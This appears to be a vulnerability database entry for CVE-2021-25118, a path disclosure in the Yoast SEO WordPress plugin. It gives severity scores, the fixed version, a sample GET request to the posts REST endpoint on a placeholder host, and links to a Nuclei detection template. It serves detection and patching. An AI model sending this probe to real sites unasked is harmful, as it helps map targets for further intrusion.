| Title | Yoast SEO 16.7-17.2 - Information Disclosure |
|---|---|
| Author | DhiyaneshDK |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain sensitive information from the target system. |
| Remediation | Fixed in version 17.3. |
| CVSS Score | 5.3 |
| EPSS Score | 0.27358 |
| CVE ID | CVE-2021-25118 |
| CWE ID | CWE-200 |
| Tags | cve2021 cve wpscan wordpress wp-plugin fpd wp yoast vuln |
Yoast SEO plugin 16.7 to 17.2 is susceptible to information disclosure, The plugin discloses the full internal path of featured images in posts via the wp/v2/posts REST endpoints, which can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
GET /wp-json/wp/v2/posts?per_page=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25118.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25118.pcap
N/AN/A